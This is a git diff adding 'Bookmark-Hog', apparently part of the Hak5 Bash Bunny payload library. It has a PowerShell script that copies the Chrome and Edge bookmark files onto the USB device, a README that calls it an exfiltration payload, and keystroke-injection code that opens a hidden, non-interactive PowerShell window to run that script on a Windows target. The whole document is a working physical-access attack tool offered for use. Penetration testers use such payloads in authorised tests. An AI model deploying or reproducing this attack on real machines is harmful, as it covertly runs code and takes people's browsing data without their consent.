diff --git a/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 new file mode 100644 index 00000000..043e1574 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 @@ -0,0 +1,47 @@ +#Bookmark-Hog + +# Get Drive Letter +$bb = (gwmi win32_volume -f 'label=''BashBunny''').Name + +# Test if directory exists if not create directory in loot folder to store file +$TARGETDIR = "$bb\loot\Bookmark-Hog\$env:computername\Chromebm.txt" +$TARGETDIR2 = "$bb\loot\Bookmark-Hog\$env:computername\Edgebm.txt" + +if(!(Test-Path -Path $TARGETDIR )){ + mkdir $TARGETDIR +} + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The chrome bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Chrome Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -Destination "$TARGETDIR" + } + + +# See if file is a thing +Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The edge bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } +} + # Copy Chrome Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" +} \ No newline at end of file diff --git a/payloads/library/exfiltration/Bookmark-Hog/README.md b/payloads/library/exfiltration/Bookmark-Hog/README.md new file mode 100644 index 00000000..47fe90c7 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/README.md @@ -0,0 +1,104 @@ + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Bookmark-Hog + +A payload to exfiltrate bookmarks of the 2 most popular browsers + +## Description + +This payload will enumerate through the browser directories, looking for the file that stores the bookmark history +These files will be saved to the bash bunny in the loot directory + +## Getting Started + +### Dependencies + +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Let the magic happen + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Bookmark-Hog/payload.txt b/payloads/library/exfiltration/Bookmark-Hog/payload.txt new file mode 100644 index 00000000..392ab545 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/payload.txt @@ -0,0 +1,22 @@ +# Title: Bookmark-Hog +# Description: This payload is meant to exfiltrate bookmarks to the bash bunny. +# Author: atomiczsec +# Version: 1.0 +# Category: Exfiltration +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\BBB.ps1')" +QUACK ENTER \ No newline at end of file